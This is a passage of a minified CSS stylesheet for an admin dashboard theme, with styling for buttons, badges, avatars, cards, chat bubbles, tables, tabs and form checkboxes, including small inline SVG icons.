2px; top: 0; left: 30px; z-index: 1; } .task-list li { margin-bottom: 30px; padding-left: 55px; position: relative; } .task-list li:last-child { margin-bottom: 0; } .task-list li .task-icon { position: absolute; left: 22px; top: 13px; border-radius: 50%; padding: 2px; width: 17px; height: 17px; z-index: 2; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.2); } .project-main svg { opacity: 0.4; } .Application-list .table td, .code-table .table td { vertical-align: middle; } .Application-list .table .label, .code-table .table .label { padding: 4px 10px; border-radius: 15px; } .Application-list thead th, .code-table thead th { border: 0; } .chat-sanders .card-header { background: linear-gradient(-135deg, #3f4d67 0%, #3f4d67 100%); } .chat-sanders .msg { margin-bottom: 5px; display: inline-block; padding: 15px; position: relative; } .chat-sanders .scroll-wrapper { height: 305px; } .chat-sanders .received-chat h5, .chat-sanders .received-chat .h5 { border-radius: 50%; width: 40px; height: 40px; text-align: center; } .chat-sanders .received-chat .msg { background: #fff; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.1); } .chat-sanders .received-chat .msg:after { content: ""; position: absolute; left: -12px; bottom: 18px; transform: rotate(270deg); border: 6px solid transparent; border-bottom-color: #fff; } .chat-sanders .send-chat h5, .chat-sanders .send-chat .h5 { border-radius: 50%; width: 40px; height: 40px; text-align: center; } .chat-sanders .send-chat .msg { background: #51459d; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.1); } .chat-sanders .send-chat .msg:after { content: ""; position: absolute; right: -11px; bottom: 18px; transform: rotate(450deg); border: 6px solid transparent; border-bottom-color: #51459d; } .note-bar .friendlist-box { padding: 25px 35px; border-top: 1px solid #f1f1f1; } .note-bar .friendlist-box:first-child { border: 0; } .note-bar .friendlist-box h6, .note-bar .friendlist-box .h6 { display: inline-block; } .note-bar .friendlist-box svg { opacity: 0.2; color: #293240; } .widget-content .widget-lorem .media h5, .widget-content .widget-lorem .media .h5 { border-radius: 50%; width: 50px; height: 50px; text-align: center; } .social-media .progress { background: transparent; border-radius: 0; justify-content: center; } .social-media .progress h5, .social-media .progress .h5 { position: relative; top: -2px; } .avtar { display: inline-flex; align-items: center; justify-content: center; border-radius: 50%; font-size: 18px; font-weight: 600; width: 48px; height: 48px; } .avtar.avtar-xs { width: 32px; height: 32px; font-size: 12px; } .avtar.avtar-s { width: 40px; height: 40px; font-size: 14px; } .avtar.avtar-l { width: 64px; height: 64px; font-size: 20px; } .avtar.avtar-xl { width: 80px; height: 80px; font-size: 24px; } .avtar.avtar-square { border-radius: 4px; border: 2px solid; } .avtar.avtar-icon { border: 2px solid #f1f1f1; } .avtar.avtar-icon > img { width: 60%; } .badge.bg-light-primary { background: #dcdaeb; color: #51459d; border-color: #dcdaeb; } .badge.bg-light-secondary { background: #e2e3e5; color: #6c757d; border-color: #e2e3e5; } .badge.bg-light-success { background: #e2f7d9; color: #6fd943; border-color: #e2f7d9; } .badge.bg-light-info { background: #d8f4f7; color: #3ec9d6; border-color: #d8f4f7; } .badge.bg-light-warning { background: #ffecd2; color: #ffa21d; border-color: #ffecd2; } .badge.bg-light-danger { background: #ffd8e2; color: #ff3a6e; border-color: #ffd8e2; } .badge.bg-light-light { background: #fefefe; color: #f8f9fa; border-color: #fefefe; } .badge.bg-light-dark { background: #d2d3d5; color: #1c232f; border-color: #d2d3d5; } .btn { font-size: 14px; } .btn i { font-size: 18px; } .btn svg { width: 18px; height: 18px; } .btn[class*="btn-light-"] { box-shadow: none; } .btn[class*="btn-outline-"]:not(:hover) { box-shadow: none; } .btn.btn-shadow { box-shadow: 0 6px 7px -1px rgba(80, 86, 175, 0.3); } .btn.btn-sm i, .btn-group-sm > .btn i { font-size: 14px; } .btn[class*="btn-gradient-"] { border: none !important; } .btn-light-primary { background: #dcdaeb; color: #51459d; border-color: #dcdaeb; } .btn-light-primary:hover { background: #51459d; color: #fff; border-color: #51459d; } .btn-light-primary.focus, .btn-light-primary:focus { background: #51459d; color: #fff; border-color: #51459d; } .btn-light-primary:not(:disabled):not(.disabled).active, .btn-light-primary:not(:disabled):not(.disabled):active, .show > .btn-light-primary.dropdown-toggle { background: #51459d; color: #fff; border-color: #51459d; } .btn-check:active + .btn-light-primary, .btn-check:checked + .btn-light-primary { background: #51459d; color: #fff; border-color: #51459d; } .btn-light-secondary { background: #e2e3e5; color: #6c757d; border-color: #e2e3e5; } .btn-light-secondary:hover { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-light-secondary.focus, .btn-light-secondary:focus { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-light-secondary:not(:disabled):not(.disabled).active, .btn-light-secondary:not(:disabled):not(.disabled):active, .show > .btn-light-secondary.dropdown-toggle { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-check:active + .btn-light-secondary, .btn-check:checked + .btn-light-secondary { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-light-success { background: #e2f7d9; color: #6fd943; border-color: #e2f7d9; } .btn-light-success:hover { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-light-success.focus, .btn-light-success:focus { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-light-success:not(:disabled):not(.disabled).active, .btn-light-success:not(:disabled):not(.disabled):active, .show > .btn-light-success.dropdown-toggle { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-check:active + .btn-light-success, .btn-check:checked + .btn-light-success { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-light-info { background: #d8f4f7; color: #3ec9d6; border-color: #d8f4f7; } .btn-light-info:hover { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-light-info.focus, .btn-light-info:focus { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-light-info:not(:disabled):not(.disabled).active, .btn-light-info:not(:disabled):not(.disabled):active, .show > .btn-light-info.dropdown-toggle { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-check:active + .btn-light-info, .btn-check:checked + .btn-light-info { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-light-warning { background: #ffecd2; color: #ffa21d; border-color: #ffecd2; } .btn-light-warning:hover { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-light-warning.focus, .btn-light-warning:focus { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-light-warning:not(:disabled):not(.disabled).active, .btn-light-warning:not(:disabled):not(.disabled):active, .show > .btn-light-warning.dropdown-toggle { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-check:active + .btn-light-warning, .btn-check:checked + .btn-light-warning { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-light-danger { background: #ffd8e2; color: #ff3a6e; border-color: #ffd8e2; } .btn-light-danger:hover { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-light-danger.focus, .btn-light-danger:focus { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-light-danger:not(:disabled):not(.disabled).active, .btn-light-danger:not(:disabled):not(.disabled):active, .show > .btn-light-danger.dropdown-toggle { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-check:active + .btn-light-danger, .btn-check:checked + .btn-light-danger { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-light-light { background: #fefefe; color: #f8f9fa; border-color: #fefefe; } .btn-light-light:hover { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-light-light.focus, .btn-light-light:focus { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-light-light:not(:disabled):not(.disabled).active, .btn-light-light:not(:disabled):not(.disabled):active, .show > .btn-light-light.dropdown-toggle { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-check:active + .btn-light-light, .btn-check:checked + .btn-light-light { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-light-dark { background: #d2d3d5; color: #1c232f; border-color: #d2d3d5; } .btn-light-dark:hover { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-light-dark.focus, .btn-light-dark:focus { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-light-dark:not(:disabled):not(.disabled).active, .btn-light-dark:not(:disabled):not(.disabled):active, .show > .btn-light-dark.dropdown-toggle { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-check:active + .btn-light-dark, .btn-check:checked + .btn-light-dark { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-gradient-primary { background: linear-gradient(141.55deg, #51459d, #9a459d); color: #ffffff; } .btn-gradient-primary:hover, .btn-gradient-primary.focus, .btn-gradient-primary:focus { background: linear-gradient(141.55deg, #9a459d, #51459d); color: #ffffff; } .btn-gradient-primary:not(:disabled):not(.disabled).active, .btn-gradient-primary:not(:disabled):not(.disabled):active, .show > .btn-gradient-primary.dropdown-toggle { background: linear-gradient(141.55deg, #9a459d, #51459d); color: #ffffff; } .btn-check:active + .btn-gradient-primary, .btn-check:checked + .btn-gradient-primary { background: linear-gradient(141.55deg, #9a459d, #51459d); color: #ffffff; } .btn-gradient-secondary { background: linear-gradient(141.55deg, #6c757d, #716c7d); color: #ffffff; } .btn-gradient-secondary:hover, .btn-gradient-secondary.focus, .btn-gradient-secondary:focus { background: linear-gradient(141.55deg, #716c7d, #6c757d); color: #ffffff; } .btn-gradient-secondary:not(:disabled):not(.disabled).active, .btn-gradient-secondary:not(:disabled):not(.disabled):active, .show > .btn-gradient-secondary.dropdown-toggle { background: linear-gradient(141.55deg, #716c7d, #6c757d); color: #ffffff; } .btn-check:active + .btn-gradient-secondary, .btn-check:checked + .btn-gradient-secondary { background: linear-gradient(141.55deg, #716c7d, #6c757d); color: #ffffff; } .btn-gradient-success { background: linear-gradient(141.55deg, #6fd943, #43d994); color: #ffffff; } .btn-gradient-success:hover, .btn-gradient-success.focus, .btn-gradient-success:focus { background: linear-gradient(141.55deg, #43d994, #6fd943); color: #ffffff; } .btn-gradient-success:not(:disabled):not(.disabled).active, .btn-gradient-success:not(:disabled):not(.disabled):active, .show > .btn-gradient-success.dropdown-toggle { background: linear-gradient(141.55deg, #43d994, #6fd943); color: #ffffff; } .btn-check:active + .btn-gradient-success, .btn-check:checked + .btn-gradient-success { background: linear-gradient(141.55deg, #43d994, #6fd943); color: #ffffff; } .btn-gradient-info { background: linear-gradient(141.55deg, #3ec9d6, #3e4ad6); color: #ffffff; } .btn-gradient-info:hover, .btn-gradient-info.focus, .btn-gradient-info:focus { background: linear-gradient(141.55deg, #3e4ad6, #3ec9d6); color: #ffffff; } .btn-gradient-info:not(:disabled):not(.disabled).active, .btn-gradient-info:not(:disabled):not(.disabled):active, .show > .btn-gradient-info.dropdown-toggle { background: linear-gradient(141.55deg, #3e4ad6, #3ec9d6); color: #ffffff; } .btn-check:active + .btn-gradient-info, .btn-check:checked + .btn-gradient-info { background: linear-gradient(141.55deg, #3e4ad6, #3ec9d6); color: #ffffff; } .btn-gradient-warning { background: linear-gradient(141.55deg, #ffa21d, #a0ff1d); color: #ffffff; } .btn-gradient-warning:hover, .btn-gradient-warning.focus, .btn-gradient-warning:focus { background: linear-gradient(141.55deg, #a0ff1d, #ffa21d); color: #ffffff; } .btn-gradient-warning:not(:disabled):not(.disabled).active, .btn-gradient-warning:not(:disabled):not(.disabled):active, .show > .btn-gradient-warning.dropdown-toggle { background: linear-gradient(141.55deg, #a0ff1d, #ffa21d); color: #ffffff; } .btn-check:active + .btn-gradient-warning, .btn-check:checked + .btn-gradient-warning { background: linear-gradient(141.55deg, #a0ff1d, #ffa21d); color: #ffffff; } .btn-gradient-danger { background: linear-gradient(141.55deg, #ff3a6e, #ffaa3a); color: #ffffff; } .btn-gradient-danger:hover, .btn-gradient-danger.focus, .btn-gradient-danger:focus { background: linear-gradient(141.55deg, #ffaa3a, #ff3a6e); color: #ffffff; } .btn-gradient-danger:not(:disabled):not(.disabled).active, .btn-gradient-danger:not(:disabled):not(.disabled):active, .show > .btn-gradient-danger.dropdown-toggle { background: linear-gradient(141.55deg, #ffaa3a, #ff3a6e); color: #ffffff; } .btn-check:active + .btn-gradient-danger, .btn-check:checked + .btn-gradient-danger { background: linear-gradient(141.55deg, #ffaa3a, #ff3a6e); color: #ffffff; } .btn-gradient-light { background: linear-gradient(141.55deg, #f8f9fa, #f9f8fa); color: #212529; } .btn-gradient-light:hover, .btn-gradient-light.focus, .btn-gradient-light:focus { background: linear-gradient(141.55deg, #f9f8fa, #f8f9fa); color: #212529; } .btn-gradient-light:not(:disabled):not(.disabled).active, .btn-gradient-light:not(:disabled):not(.disabled):active, .show > .btn-gradient-light.dropdown-toggle { background: linear-gradient(141.55deg, #f9f8fa, #f8f9fa); color: #212529; } .btn-check:active + .btn-gradient-light, .btn-check:checked + .btn-gradient-light { background: linear-gradient(141.55deg, #f9f8fa, #f8f9fa); color: #212529; } .btn-gradient-dark { background: linear-gradient(141.55deg, #1c232f, #251c2f); color: #ffffff; } .btn-gradient-dark:hover, .btn-gradient-dark.focus, .btn-gradient-dark:focus { background: linear-gradient(141.55deg, #251c2f, #1c232f); color: #ffffff; } .btn-gradient-dark:not(:disabled):not(.disabled).active, .btn-gradient-dark:not(:disabled):not(.disabled):active, .show > .btn-gradient-dark.dropdown-toggle { background: linear-gradient(141.55deg, #251c2f, #1c232f); color: #ffffff; } .btn-check:active + .btn-gradient-dark, .btn-check:checked + .btn-gradient-dark { background: linear-gradient(141.55deg, #251c2f, #1c232f); color: #ffffff; } .dropdown-toggle.arrow-none:after { display: none; } .dropdown-menu { padding: 15px 0; box-shadow: 0 4px 24px 0 rgba(62, 57, 107, 0.18); border: none; } .dash-header .dropdown-menu { animation: 0.1s ease-in-out 0s normal forwards 1 fadein; } @keyframes fadein { from { transform: translate3d(0, 8px, 0); opacity: 0; } to { transform: translate3d(0, 0, 0); opacity: 1; } } .dropdown .dropdown-item.active i.material-icons-two-tone, .dropdown .dropdown-item:active i.material-icons-two-tone, .dropdown .dropdown-item:focus i.material-icons-two-tone, .dropdown .dropdown-item:hover i.material-icons-two-tone { background-color: #343a40; } .dropdown .dropdown-item { padding: 10px 25px; } .dropdown .dropdown-item i { font-size: 18px; margin-right: 10px; } .dropdown .dropdown-item i.material-icons-two-tone { vertical-align: bottom; font-size: 22px; background-color: #525b69; } .dropdown .dropdown-item svg { width: 18px; height: 18px; margin-right: 10px; fill: #f2f2f2; } .dropdown .dropdown-item .float-right svg { width: 14px; height: 14px; } .card { box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); margin-bottom: 24px; transition: box-shadow 0.2s ease-in-out; } .card .card-header { border-bottom: 1px solid #f1f1f1; } .card .card-header .float-end .btn { margin: -6px 0; } .card .card-header h5, .card .card-header .h5 { margin-bottom: 0; color: #060606; font-size: 16px; font-weight: 600; } .card .card-header h5 + p, .card .card-header .h5 + p, .card .card-header h5 + small, .card .card-header .h5 + small, .card .card-header h5 + .small, .card .card-header .h5 + .small { margin-top: 10px; } .card .card-header h5 + p:last-child, .card .card-header .h5 + p:last-child, .card .card-header h5 + small:last-child, .card .card-header .h5 + small:last-child, .card .card-header h5 + .small:last-child, .card .card-header .h5 + .small:last-child { margin-bottom: 0; } .card .card-header:not(.border-0) h5, .card .card-header:not(.border-0) .h5 { position: relative; } .card .card-header:not(.border-0) h5:after, .card .card-header:not(.border-0) .h5:after { content: ""; height: 30px; width: 3px; background: #51459d; position: absolute; left: -25px; top: -5px; border-radius: 0 3px 3px 0; } .card .card-header .card-header-right { right: 10px; top: 10px; float: right; padding: 0; position: absolute; } /* dropdown-toggle icon-more-vertical css issue */ /* @media only screen and (max-width: 575px) { .card .card-header .card-header-right { display: none; } } */ .card .card-header .card-header-right .dropdown-menu { margin-top: 0; } .card .card-header .card-header-right .dropdown-menu li { cursor: pointer; } .card .card-header .card-header-right .dropdown-menu li a { font-size: 14px; text-transform: capitalize; } .card .card-header .card-header-right .btn.dropdown-toggle { border: none; background: transparent; box-shadow: none; color: #888; } .card .card-header .card-header-right .btn.dropdown-toggle i { margin-right: 0; } .card .card-header .card-header-right .btn.dropdown-toggle:after { display: none; } .card .card-header .card-header-right .btn.dropdown-toggle:focus { box-shadow: none; outline: none; } .card .card-header .card-header-right .btn.dropdown-toggle { border: none; background: transparent; box-shadow: none; padding: 0; width: 20px; height: 20px; right: 8px; top: 12px; } .card .card-header .card-header-right .btn.dropdown-toggle.mobile-menu span { background-color: #888; height: 2px; border-radius: 5px; } .card .card-header .card-header-right .btn.dropdown-toggle.mobile-menu span:after, .card .card-header .card-header-right .btn.dropdown-toggle.mobile-menu span:before { border-radius: 5px; height: 2px; background-color: #888; } .card .card-header .card-header-right .nav-pills { padding: 0; box-shadow: none; background: transparent; } .card .card-footer { transition: box-shadow 0.2s ease-in-out; border-top: 1px solid #f1f1f1; } .card .card-img-overlay { background: rgba(0, 0, 0, 0.5); } .card:hover .card-footer[class*="bg-"] { box-shadow: none; } .card.bg-primary { box-shadow: 0 9px 9px -1px rgba(81, 69, 157, 0.3); } .card.bg-secondary { box-shadow: 0 9px 9px -1px rgba(108, 117, 125, 0.3); } .card.bg-success { box-shadow: 0 9px 9px -1px rgba(111, 217, 67, 0.3); } .card.bg-info { box-shadow: 0 9px 9px -1px rgba(62, 201, 214, 0.3); } .card.bg-warning { box-shadow: 0 9px 9px -1px rgba(255, 162, 29, 0.3); } .card.bg-danger { box-shadow: 0 9px 9px -1px rgba(255, 58, 110, 0.3); } .card.bg-light { box-shadow: 0 9px 9px -1px rgba(248, 249, 250, 0.3); } .card.bg-dark { box-shadow: 0 9px 9px -1px rgba(28, 35, 47, 0.3); } @media (max-width: 575.98px) { .card { margin-bottom: 20px; } } .progress { overflow: visible; background: #e8ebf8; } .progress .progress-bar { border-radius: 10px; } .progress .progress-bar.bg-primary { box-shadow: 0 8px 8px -1px rgba(81, 69, 157, 0.3); } .progress .progress-bar.bg-secondary { box-shadow: 0 8px 8px -1px rgba(108, 117, 125, 0.3); } .progress .progress-bar.bg-success { box-shadow: 0 8px 8px -1px rgba(111, 217, 67, 0.3); } .progress .progress-bar.bg-info { box-shadow: 0 8px 8px -1px rgba(62, 201, 214, 0.3); } .progress .progress-bar.bg-warning { box-shadow: 0 8px 8px -1px rgba(255, 162, 29, 0.3); } .progress .progress-bar.bg-danger { box-shadow: 0 8px 8px -1px rgba(255, 58, 110, 0.3); } .progress .progress-bar.bg-light { box-shadow: 0 8px 8px -1px rgba(248, 249, 250, 0.3); } .progress .progress-bar.bg-dark { box-shadow: 0 8px 8px -1px rgba(28, 35, 47, 0.3); } .table.table-align-center td, .table.table-align-center th { vertical-align: middle; } .table thead th { padding: 0.9rem 0.75rem; } .table td, .table th { vertical-align: middle; } .table.table-borderless td, .table.table-borderless th { border: none !important; } body .table thead th { font-size: 12px; } .table-hover tbody tr:hover { background-color: rgba(81, 69, 157, 0.03); } .dataTable-table > tbody > tr > td, .dataTable-table > tbody > tr > th, .dataTable-table > tfoot > tr > td, .dataTable-table > tfoot > tr > th, .dataTable-table > thead > tr > td, .dataTable-table > thead > tr > th { vertical-align: middle; } .table th.text-end[data-sortable] { padding-right: 16px; } .table th.text-end[data-sortable] .dataTable-sorter::before, .table th.text-end[data-sortable] .dataTable-sorter::after { right: -14px; } .dataTable-table tfoot tr th, .dataTable-table tfoot tr td, .dataTable-table thead tr th, .dataTable-table thead tr td, .dataTable-table tbody tr th, .dataTable-table tbody tr td { padding: 0.9rem 0.75rem; } .card:not(.table-card) .dataTable-bottom, .card:not(.table-card) .dataTable-top { padding: 25px 25px; } .card:not(.table-card) .table-responsive { margin: -25px -25px 0 -25px; width: calc(100% + 50px); } .card:not(.table-card) .table { margin-bottom: 0; } .card:not(.table-card) .table > thead > tr > th { border-top: 0; } .card:not(.table-card) .table tr td:first-child, .card:not(.table-card) .table tr th:first-child { padding-left: 25px; } .card:not(.table-card) .table tr td:last-child, .card:not(.table-card) .table tr th:last-child { padding-right: 25px; } .card:not(.table-card) .table.without-header tr:first-child td { border-top: none; } .dataTable-wrapper.no-footer .dataTable-container { border-bottom: none; } .dataTable-dropdown label { display: flex; align-items: center; white-space: nowrap; } .dataTable-dropdown label select.dataTable-selector { width: 75px; margin-right: 10px; } .tabs-border.nav-tabs .nav-item { margin-bottom: 0; } .tabs-border.nav-tabs .nav-link { border: none; background: no-repeat center bottom, center 100%; background-size: 0 100%, 100% 100%; transition: background 0.3s ease-out; background-image: linear-gradient(to top, theme-color("primary") 2px, rgba(255, 255, 255, 0) 2px); } .tabs-border.nav-tabs .nav-link.active { background-size: 100% 100%, 100% 100%; } .tabs-light.nav-pill + .tab-content { border-top: 1px solid #f1f1f1; } .tabs-light.nav-pill .nav-item { margin-bottom: 0; } .tabs-light.nav-pill .nav-item .nav-link { color: #51459d; background: #dcdaeb; border-radius: 4px; transition: background 0.3s ease-out; } .tabs-light.nav-pill .nav-item + .nav-item { margin-left: 10px; } .tabs-light.nav-pill .nav-link { border: none; } .tabs-light.nav-pill .nav-link.active { color: #fff; background: #51459d; } .form-group { margin-bottom: 1.3rem; } .form-group label { font-weight: 600; } .form-control.flatpickr-input[readonly], .flatpickr-input.custom-select[readonly], .flatpickr-input.dataTable-selector[readonly], .flatpickr-input.dataTable-input[readonly] { background: #ffffff; } .input-group-text svg { width: 18px; height: 18px; } select.form-control, select.custom-select, select.dataTable-selector, select.dataTable-input { -webkit-appearance: none; -moz-appearance: none; appearance: none; background: #ffffff url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' stroke='currentColor' stroke-width='2' fill='none' stroke-linecap='round' stroke-linejoin='round' class='css-i6dzq1'%3E%3Cpolyline points='6 9 12 15 18 9'%3E%3C/polyline%3E%3C/svg%3E") no-repeat right 0.75rem center/18px 25px; } select.form-control[data-multiselectsplitter-firstselect-selector], select.custom-select[data-multiselectsplitter-firstselect-selector], select.dataTable-selector[data-multiselectsplitter-firstselect-selector], select.dataTable-input[data-multiselectsplitter-firstselect-selector], select.form-control[data-multiselectsplitter-secondselect-selector], select.custom-select[data-multiselectsplitter-secondselect-selector], select.dataTable-selector[data-multiselectsplitter-secondselect-selector], select.dataTable-input[data-multiselectsplitter-secondselect-selector] { background: none; } .bootstrap-select > .dropdown-toggle.btn-light, .bootstrap-select > .dropdown-toggle.btn-secondary, .bootstrap-select > .dropdown-toggle.btn-default { border-color: #ced4da !important; box-shadow: none; background: #ffffff !important; color: #293240; } .bootstrap-select > .dropdown-toggle.btn-light:focus, .bootstrap-select > .dropdown-toggle.btn-secondary:focus, .bootstrap-select > .dropdown-toggle.btn-default:focus { outline: none !important; } .form-check .form-check-input.input-primary:checked { border-color: #51459d; background-color: #51459d; } .form-check .form-check-input.input-light-primary:checked { border-color: #dcdaeb; background-color: #dcdaeb; } .form-check .form-check-input.input-light-primary:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%2351459d' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-primary:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%2351459d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-primary:focus[type="checkbox"], .form-check .form-check-input.input-primary:focus[type="radio"], .form-check .form-check-input.input-light-primary:focus[type="checkbox"], .form-check .form-check-input.input-light-primary:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-check.form-switch .form-check-input.input-light-primary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%2351459d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-secondary:checked { border-color: #6c757d; background-color: #6c757d; } .form-check .form-check-input.input-light-secondary:checked { border-color: #e2e3e5; background-color: #e2e3e5; } .form-check .form-check-input.input-light-secondary:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%236c757d' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-secondary:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%236c757d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-secondary:focus[type="checkbox"], .form-check .form-check-input.input-secondary:focus[type="radio"], .form-check .form-check-input.input-light-secondary:focus[type="checkbox"], .form-check .form-check-input.input-light-secondary:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.25); } .form-check.form-switch .form-check-input.input-light-secondary:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%236c757d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-success:checked { border-color: #6fd943; background-color: #6fd943; } .form-check .form-check-input.input-light-success:checked { border-color: #e2f7d9; background-color: #e2f7d9; } .form-check .form-check-input.input-light-success:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%236fd943' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-success:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%236fd943'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-success:focus[type="checkbox"], .form-check .form-check-input.input-success:focus[type="radio"], .form-check .form-check-input.input-light-success:focus[type="checkbox"], .form-check .form-check-input.input-light-success:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .form-check.form-switch .form-check-input.input-light-success:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%236fd943'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-info:checked { border-color: #3ec9d6; background-color: #3ec9d6; } .form-check .form-check-input.input-light-info:checked { border-color: #d8f4f7; background-color: #d8f4f7; } .form-check .form-check-input.input-light-info:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%233ec9d6' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-info:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%233ec9d6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-info:focus[type="checkbox"], .form-check .form-check-input.input-info:focus[type="radio"], .form-check .form-check-input.input-light-info:focus[type="checkbox"], .form-check .form-check-input.input-light-info:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(62, 201, 214, 0.25); } .form-check.form-switch .form-check-input.input-light-info:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%233ec9d6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-warning:checked { border-color: #ffa21d; background-color: #ffa21d; } .form-check .form-check-input.input-light-warning:checked { border-color: #ffecd2; background-color: #ffecd2; } .form-check .form-check-input.input-light-warning:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ffa21d' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-warning:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23ffa21d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-warning:focus[type="checkbox"], .form-check .form-check-input.input-warning:focus[type="radio"], .form-check .form-check-input.input-light-warning:focus[type="checkbox"], .form-check .form-check-input.input-light-warning:focus[type="radio"] { box-shadow: 0 0 0 0.2rem rgba(255, 162, 29, 0.25); } .form-check.form-switch .form-check-input.input-light-warning:checked { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ffa21d'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-danger:checked { border-color: #ff3a6e; background-color: #ff3a6e; } .form-check .form-check-input.input-light-danger:checked { border-color: #ffd8e2; background-color: #ffd8e2; } .form-check .form-check-input.input-light-danger:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ff3a6e' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-light-danger:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23ff3a6e'/%3e%3c/svg%3e"); } .form-check .form-check-input.input-danger:focus[type="checkbox"], .form-check .form-check-input.input-danger:focus[type="radio"], .form-check .form-check-input.input-light-danger:focus[type="checkbox"], .form-check .form-check-input.input-light-danger:focus[type="radio"] { box-shadow: 0 0 